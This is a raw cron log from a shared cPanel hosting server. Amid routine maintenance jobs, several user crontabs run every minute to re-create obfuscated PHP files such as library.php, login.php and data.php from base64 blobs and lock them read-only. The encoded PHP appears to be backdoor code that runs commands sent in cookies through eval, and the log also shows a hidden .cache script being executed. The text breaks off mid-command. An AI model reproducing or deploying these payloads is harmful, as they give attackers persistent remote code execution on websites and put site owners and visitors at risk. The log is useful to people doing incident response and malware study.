Mar  1 09:35:01 medusa CROND[4882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 09:35:01 medusa CROND[4941]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:35:01 medusa CROND[5035]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 09:35:01 medusa CROND[5039]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 09:35:01 medusa CROND[5040]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5041]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:35:01 medusa CROND[5042]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:35:01 medusa CROND[5036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5043]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 09:35:01 medusa CROND[5046]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:35:01 medusa CROND[5051]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 09:35:01 medusa CROND[5052]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5044]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5059]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:35:01 medusa CROND[5055]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 09:35:01 medusa CROND[5056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:35:01 medusa CROND[5060]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:35:01 medusa CROND[5062]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:35:01 medusa CROND[5058]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5049]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 09:35:01 medusa CROND[5054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 09:35:01 medusa CROND[5065]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 09:35:01 medusa CROND[5061]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 09:35:01 medusa CROND[5088]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 09:36:01 medusa CROND[27623]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:36:01 medusa CROND[27624]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:36:01 medusa CROND[27625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:36:01 medusa CROND[27627]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:36:01 medusa CROND[27628]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:36:01 medusa CROND[27629]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:36:01 medusa CROND[27630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:36:01 medusa CROND[27632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:36:01 medusa CROND[27633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:36:01 medusa CROND[27635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:36:01 medusa CROND[27637]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:36:01 medusa CROND[27639]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:36:01 medusa CROND[27641]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:36:01 medusa CROND[27642]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:37:01 medusa CROND[17445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:37:01 medusa CROND[17463]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:37:01 medusa CROND[17464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:37:01 medusa CROND[17465]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKC